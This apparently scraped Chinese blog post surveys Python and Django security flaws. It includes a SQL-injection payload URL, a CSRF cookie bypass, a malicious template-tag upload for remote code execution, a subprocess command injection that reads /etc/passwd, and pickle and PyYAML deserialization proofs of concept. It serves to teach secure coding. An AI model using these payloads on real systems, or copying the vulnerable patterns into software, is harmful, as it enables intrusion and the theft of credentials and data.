关于python安全性的问题
收集总结了一下python安全方面的知识点以及近年来的相关漏洞,如果有需要修正或补充的地方,欢迎各位师傅的指出。
常见web漏洞在python中的示例。
xss
python下的xss其原理跟php是一样的,django近年的例子如下:
CVE-2017-12794,此例中通过抛出异常造成xss。
sql注入
一般来说使用django自带的操作数据库api是不会造成sql注入的,如下:
1
|
Person.objects. filter (first_name = request.GET.get( 'user' )) |
不过django依然支持原生sql语法的使用方法,如下:
1
2
3
4
|
def index(request, * args, * * kwargs): for e in Person.objects.raw( 'select * from FIRST_Person ' ): print (e.first_name,e.last_name) return render(request, 'home.html' ) |
控制台结果如下:
1
2
3
|
asd sdf mapl0 ppp admin hahaha |
如果代码如下:
1
2
3
4
|
def index(request, * args, * * kwargs): for e in Person.objects.raw( 'select * from FIRST_Person WHERE first_name = ' + '"' + request.GET.get('user') + '"' ): print (e.last_name) return render(request, 'home.html' ) |
访问http://127.0.0.1:8000/?user=admin后控制台返回hahaha
而访问http://127.0.0.1:8000/?user=qqq%22%20or%20%221,控制台直接返回了
1
2
3
|
sdf ppp hahaha |
代码/命令执行
除内建的模块,还有os,commands,subprocess,multiprocessing,pty,Cpickle/pickle,PyYAML等模块能代码/命令执行,详细可看下文。
CSRF
django这类的框架自带csrf防护,不过在去年依然爆出csrf漏洞CVE-2016-7401-Django(知道创宇这篇分析很细致),如果django使用了Google Analytics则可能绕过django自带的csrf防护机制。
Django对于CSRF的防护就是判断cookie中的csrftoken和提交的csrfmiddlewaretoken的值是否相等,但是Google Analytics可以通过referer帮我们设置用户的cookie,cookie一般如下:
1
|
utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH] |
其中[HOST]和[PATH]是由Referer确定的,也就是说当
1
|
Referer: http://x.com/helloworld |
时,cookie如下:
1
|
z=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=helloworld |
django在当时的版本有cookie解析漏洞,当Cookie.SimpleCookie()解析a=hello]b=world这样的字符串时,就会取得a=hello和b=world,所以当Referer为http://x.com/hello]csrftoken=world,csrftoken就被成功赋值。
详细的代码分析,值得一看。
文件上传
在php环境下如果不限制上传文件后缀会导致getshell,但在django下,如果上传的文件能覆盖类似url.py,__init__.py的文件,攻击者能顺利getshell。参考https://www.secpulse.com/archives/36220.html 。还有django只有在development server的模式下才会修改了文件就立刻重启,否则修改了文件也暂时无法生效。
当然除此之外还有其他方法,例如写cron(前提是有权限),和模板文件。
简单说一下写模板文件的过程:
需要在templatetags和templates分别写入一个文件(可能也不叫templatetags,可自行定义),templatetags文件夹内存放自定义标签,上传文件rce.py,代码如下:
1
2
3
4
5
6
7
|
from django import template import os register = template.Library() @register.simple_tag def some_function(value): shell = os.system( 'touch mapl0' ) return shell |
templates文件夹存放静态html文件,上传文件home.html如下:
1
2
3
4
5
6
7
8
9
10
11
12
|
<!DOCTYPE html> < html > < head > < meta charset = "UTF-8" > < title >Title</ title > </ head > < body > {% load rce %} {% some_function "%s" as func %} < p > command is {{ func }} </ p > </ body > </ html > |
在view里,index会使用这个模板:
1
2
|
def index(request, * args, * * kwargs): return render(request, 'home.html' ) |
访问后,就在项目目录生成了mapl0文件。
可见使用限制很大,还需要一定的权限。首先,文件后缀没有限制,其次上传路径没有限制,templatetags目录已知,另外还需要有view使用这个模板。
另外xml和html文件的自由上传依然可以造成xxe和xss。
文件包含
相比之下文件包含比php少得多
重定向
django在今年爆出了两个重定向漏洞CVE-2017-7233&7234其中的CVE-2017-7233与urlparse有关,漏洞的说明可查看下文。
不安全模块及函数
内建函数
input():
python input() 相等于 eval(raw_input(prompt)) ,用来获取控制台的输入,在python3.0以后的版本中取消raw_input,并用input代替.
1
2
|
value = input ( "hello " ) print ( "welcome %s" % (value,)) |
python2命令行下:
1
2
|
hello dir () welcome [ '__builtins__' , '__doc__' , '__file__' , '__name__' , '__package__' ] |
python3命令行下:
1
2
|
hello dir () welcome dir () |
assert():
assert断言是声明其布尔值必须为真的判定,如果发生异常就说明表达示为假。
1
2
3
4
|
Traceback (most recent call last): File "/Users/mapl0/Desktop/资料/sec.py" , line 3 , in <module> assert os.system( 'touch test' ) AssertionError |
报了个错误,但test文件已被建立
代码执行函数
eval:计算字符串中的表达式
exec:执行字符串中的语句
execfile:用来执行一个文件#python3中已无此函数
1
2
3
4
|
a = "print('eval:hello')" b = "print('exec:hello')" eval (a) exec (b) |
python2和python3下结果一样
eval:hello
exec:hello
execfile('temp.bin')#temp.bin内容为print('execfile:hello')
结果
execfile:hello
os模块:
os.system
os.popen#和os.system的区别在于popen会把命令的输出作为返回值
os.spawn
commands模块 :
1
|
commands.getstatusoutput |
subprocess模块 :
subprocess.Popen
subprocess.call通过子进程进行外壳注入
1
2
3
4
|
from subprocess import call unvalidated_input = '/bin/true' #true命令啥都不做,只设置退出码为0 unvalidated_input + = '; cut -d: -f1 /etc/passwd' call(unvalidated_input, shell = True ) #当shell=true时,shell命令可被当做多句执行。 |
运行结果
nobody
root
........
multiprocessing多进程模块 :
1
2
3
4
|
import multiprocessing p = multiprocessing.Process(target = print , args = ( "hello" )) #target参数为函数名,args为函数所需参数 p.start() p.join() |
运行结果
h e l l o
pty :
只能在linux\mac下使用的伪终端
1
2
|
import pty pty.spawn( 'ls' ) |
在python2\3下均可执行命令
其他有安全问题模块及函数
codecs :
codecs作用于各种编码之间的相互转换
1
2
3
4
5
6
7
8
9
10
|
import codecs import io b = b '\x41\xF5\x42\x43\xF4' print ( "Correct-String %r" ) % (( repr (b.decode( 'utf8' , 'replace' )))) with open ( 'temp.bin' , 'wb' ) as fout: fout.write(b) with codecs. open ( 'temp.bin' , encoding = 'utf8' , errors = 'replace' ) as fin: print ( "CODECS-String %r" ) % ( repr (fin.read())) with io. open ( 'temp.bin' , 'rt' , encoding = 'utf8' , errors = 'replace' ) as fin: print ( "IO-String %r" ) % ( repr (fin.read())) |
当b以二进制方式写入文件后,用codecs在进行读取,如果errors='replace'且编码形式为utf-8时,则对于xF5和xF4这类不能编码的都会被替换为\ufffd。
在python2下:
1
2
3
|
Correct - String "u'A\\ufffdBC\\ufffd'" CODECS - String "u'A\\ufffdBC'" IO - String "u'A\\ufffdBC\\ufffd'" |
在Python3下会报错:
1
2
|
print ( "Correct-String %r" ) % (( repr (b.decode( 'utf8' , 'replace' )))) TypeError: unsupported operand type (s) for % : 'NoneType' and 'str' |
ctypes :
ctypes是一个提供和C语言兼容的数据类型的外部库,当出现x00的空字符就会出现截断
1
2
3
4
5
|
import ctypes buffer = ctypes.create_string_buffer( 8 ) buffer .value = 'ab\x00c1234' print ( buffer .value) print ( buffer .raw) |
在python2命令行下:
ab
abc1234
在python3下回报错:
1
2
|
buffer .value = 'ab\x00c1234' TypeError: bytes expected instead of str instance |
Python Interpreter :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
#!python try : if 0 : yield 5 print ( "T1-FAIL" ) except Exception as e: print ( "T1-PASS" ) pass try : if False : yield 5 print ( "T2-FAIL" ) except Exception as e: print ( repr (e)) pass |
对于类似if 0: if False: 的写法,python版本的不同,其测试结果也不同
可重用整数 :
1
2
|
999 + 1 is 1000 #False 1 + 1 is 2 #True |
对此的解释是,Python 维护了一个对象连接池,其中保有前几百个整数,重用它们会节约内存和对象的创建。
浮点数比较 :
1
|
2.2 * 3.0 = = 3.3 * 2.0 #False |
由于固有受限精度,以及十进制与二进制小数表示所产生的差异导致的舍入错误。
无穷大 :
python支持无穷大的概念,但在python2下出现了这样的情况
1
2
3
4
5
|
Type "help" , "copyright" , "credits" or "license" for more information. 10**1000000 > float( 'infinity' ) False float > float( 'infinity' ) True |
python3下
1
2
3
4
5
6
|
10 * * 1000000 > float ( 'infinity' ) False float > float ( 'infinity' ) Traceback (most recent call last): File "<stdin>" , line 1 , in <module> TypeError: unorderable types: type () > float () |
builtins :
此模块在python启动后首先加载到内存,此时还没有执行任何程序员写的代码,在Python2.X版本中,内建模块被命名为__builtin__,而到了Python3.X版本中更名为builtins。
在 Python 2中, 内置对象可以通过魔法 __builtins__ 模块进行访问。
1
2
3
4
5
|
__builtins__. False , __builtins__. True = True , False True False int ( True ) 0 |
false被赋值成true,true被赋值成false
urllib2:
Python 的 urllib 库曾出过一个头注入的漏洞,CVE-2016-5699
如果请求头里出现了%0A则直接换行导致攻击者可以注入额外http头和请求方法,可在ssrf里攻击redis或者memcached。
Python2/Python3较新的版本均在出口处的putheader()函数里添加了一个检验,发现不合法URL会报一个error.
tarfile/ZipFile:
tarfile模块可以读取和写入tar文件,包括使用gzip或bz2压缩的压缩文件。
ZipFile模块提供了创建,读取,写入,附加和列出ZIP文件的函数。
TarFile.extractall使用此函数提取文件时,文件可能创建在其他路径,官方建议不要从不信任的来源提取文件。
ZipFile.extractall也有同样的问题,解压时文件可能创建在其他路径,但在2.7.4版本中,模块会试图阻止这种行为。
urlparse :
CVE-2017-7233 urllib.parse.urlparse的特殊情况曾给django造成一个url跳转漏洞。
django的is_safe_url函数可用于检测url是或否安全,但整合各函数是基于urllib.parse.urlparse的,urlparse在当scheme不等于http,path为纯数字时不能正常分割使得is_safe_url为true,从而达到bypass的目的。
例如 https:1029415385,is_safe_url会直接判断为true。
格式化字符串漏洞:
起因是python的新方法format,示例如下:
1
2
3
4
5
|
class mapl0: user = 'mapl0' password = 'hahaha' key = '123456' print ( "This is {user.user} {user.password}" . format (user = mapl0)) |
我们可以通过format将mapl0类中的属性输出出来,在这篇[paper](https://paper.seebug.org/175/)中(@phithon)就有类似的情况:
1
2
3
4
|
def view(request, * args, * * kwargs): user = get_object_or_404(User, pk = request.GET.get( 'uid' )) template = 'This is {user}\'s email: ' + request.GET.get( 'email' ) return HttpResponse(template. format (user = user)) |
由于request.GET.get('email')也就是用户通过get传入的email参数完全可控,我们就能让request.user里的任意属性输出出来,例如{user.password}。
通过debug查看了一下request.user里的内容,其中session_key,目录,secret_key等等敏感信息都能查看,其中SECRET_KEY如果泄露,则可能配合django反序列化漏洞实现rce。
Jinja的沙盒绕过与此同理。顺便一说,在paper还提到的f修饰符很有意思,在python3.6版本会后,被f/F修饰的字符串将会被当做代码执行。
反序列化
Cpickle/pickle 反序列化:
python2 使用cPickle,python3 使用pickle,__reduce__函数会在被反序列化是执行,类似php里的\__wakeup,当我们序列化了一个带有\__reduce\__的类时,将其反序列化即可执行\__reduce\__里的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
|
import os import cPickle a = 1 # Exploit that we want the target to unpickle class Exploit( object ): def __reduce__( self ): global a a = 10 os.system( "pwd" ) return (os.system, ( 'ls' ,)) shellcode = cPickle.dumps(Exploit()) #cPickle.dumps序列化操作 cPickle.loads(shellcode) #cPickle.loads反序列化操作 print a |
pickle用法类似
1
2
3
4
5
6
7
8
|
import os import pickle # Exploit that we want the target to unpickle class Exploit( object ): def __reduce__( self ): return (os.system, ( 'ls' ,)) shellcode = pickle.dumps(Exploit()) pickle.loads(shellcode) |
Django任意代码在django1.6版本前存在任意代码执行漏洞,其漏洞起因就是pickle。
在django1.6以下,session默认是采用pickle执行序列号操作,在1.6及以上版本默认采用json序列化,但还需要知道SECRET_KEY以及目标采用了signed_cookies。
掌阅iReader某站Python漏洞挖掘,通过redis写session从而反序列化getshell。
PyYAML 对象类型解析导致的命令执行问题:
http://blog.knownsec.com/2016/03/pyyaml-tags-parse-to-command-execution/
1
2
3
4
5
|
import yaml content = '''--- !!python/object/apply:subprocess.check_output [[ls]]#subprocess.check_output父进程等待子进程完成 返回子进程向标准输出的输出结果 ...''' print yaml.load(content) |
python2下结果
1.py
__init__.py
__pycache__
......
python3下结果
1
|
b' 1.py \n__init__.py\n__pycache__\n................ |
shelve:
shelve用处是让对象持久化,但它在序列化与反序列化的过程中使用了pickle模块,因此我们可以利用shelve会调用的pickle在反序列化过程中执行代码。
1
2
3
4
5
6
7
8
|
import shelve import os class exp( object ): def __reduce__( self ): return (os.system( 'ls' )) file = shelve. open ( "test" ) file [ 'exp' ] = exp() print ( file [ 'exp' ]) |
一些在较新版本被弃用的函数和模块
rexec:
在python2.6后被弃用,相关文档.
bastion:
在python2.6后被弃用,相关文档.
tempfile.mktemp:
此函数自从2.3版本不推荐使用并使用mkstemp()代替,相关[文档](https://docs.python.org/3/library/tempfile.html?highlight=mktemp#tempfile.mktemp)
总结
python安全还远不止上文所述部分,随之python使用者的增多,其安全性必然也会不断地收到挑战,而我们也需要从中不断学习以应对随时袭来的威胁。
关于python安全性的问题的更多相关文章
- Python语言在企业级应用上的十大谬误
英文原文:https://www.paypal-engineering.com/2014/12/10/10-myths-of-enterprise-python/ 翻译原文:http://www.os ...
- Python不能用于大型项目?关于Python的10大误解
 语言多元化是PayPal编程文化中一个重要的组成部分.在C++和Java长期流行的同时,更多的团队选择了Jva和Scala.同时,Braintree的收购也引入了一个久经世故的Ruby社区.Pyt ...
- paip.提升安全性----Des加密 java php python的实现总结
paip.提升安全性----Des加密 java php python的实现总结 /////////// uapi private static String decryptBy ...
- python的依赖性安全性检查
1.safety 安装: pip install safety 使用: 检查整个系统的依赖包安全性safety check检查某个项目的依赖性安全safety check -r requirement ...
- 字符型图片验证码识别完整过程及Python实现
字符型图片验证码识别完整过程及Python实现 1 摘要 验证码是目前互联网上非常常见也是非常重要的一个事物,充当着很多系统的 防火墙 功能,但是随时OCR技术的发展,验证码暴露出来的安全问题也越 ...
- Python下载网页的几种方法
get和post方式总结 get方式:以URL字串本身传递数据参数,在服务器端可以从'QUERY_STRING'这个变量中直接读取,效率较高,但缺乏安全性,也无法来处理复杂的数据(只能是字符串,比如在 ...
- python之最强王者(5)——Nunber(数字)
1.Python Number(数字) Python Number 数据类型用于存储数值. 数据类型是不允许改变的,这就意味着如果改变 Number 数据类型的值,将重新分配内存空间. 以下实例在变量 ...
- python入门-python解释器执行
最近由于公司需要,接触了python这门神奇的语言,给我的感觉就是开发快速和代码简洁. 开始还是先罗列一下解释性语言和编译性语言的差别吧0.0! 编译性语言:是在程序运行前,需要专门的一个编译过程 ...
- Python:eval的妙用和滥用
时间 2014-07-08 13:05:24 CSDN博客 原文 http://blog.csdn.net/zhanh1218/article/details/37562167 主题 Python ...
随机推荐
- IDEA 启动时,报“淇℃伅”的字符
IDEA 启动时,报“淇℃伅”的字符,如下: 解决办法: 修改tomcat安装目录下的config/logging.properties文件,找到java.util.logging.ConsoleHa ...
- ASP .NET登录界面用户验证码代码
//ASP .NET用户登录界面经常用到验证码代码如下 private void Page_Load(object sender, System.EventArgs e) { // 在此处放置用户代码 ...
- 漫谈JWT
一.JWT简介[对于了解JWT的童鞋,可以直接跳到最后] 咱们就不弄那些乱七八糟的概念,就简单点说一下JWT是什么.有什么和能干什么 1. JWT概念和作用 JWT全称为json web token, ...
- Unity MMO 参考数值
贴图格式: iOS :RGBA 32 (pvrtc 4 ) Android : RGB Compresed ETC 4 或 RGBA 32 . DrawCall: 总计Drawcall 平均 100 ...
- tf.reduce_sum()_tf.reduce_mean()_tf.reduce_max()
根据官方文档: reduce_sum应该理解为压缩求和,用于降维 tf.reduce_sum(input_tensor,axis=None,keepdims=None,name=None,reduct ...
- javascript经典小游戏代码集合
http://www.jb51.net/Special/349.htm
- 《secret》读书笔记
这是在从大连到深圳飞机上看完的一本书,也是大学毕业时室友整理书籍给我的.正好回来的途中,一气呵成读完了. 全书讲了几个事情,其中费了很大篇幅就围绕一个主题,当然书题了——秘密,这个秘密就是“吸引力法则 ...
- 华东师范大学第十届ECNU Coder程序设计竞赛
华东师范大学第十届ECNU Coder程序设计竞赛 浮点数模运算 solution 转成整数然后取模. 时间复杂度:\(O(1)\) 数螃蟹 solution 找出公差出现次数最多的作为公差,然后找出 ...
- Spring之IOC,DI,动态代理,反射
Spring框架是J2EE开发中一个使用广泛的框架,它使得dao和service层的维护更加便利.Spring框架有两个重要的特征,一个是IOC,另一个是AOP.我们在这里主要介绍IOC,以及IOC中 ...
- 2017百度春招<不等式排列>
题目: 度度熊最近对全排列特别感兴趣,对于1到n的一个排列,度度熊发现可以在中间根据大小关系插入合适的大于和小于符号(即 '>' 和 '<' )使其成为一个合法的不等式数列.但是现在度度熊 ...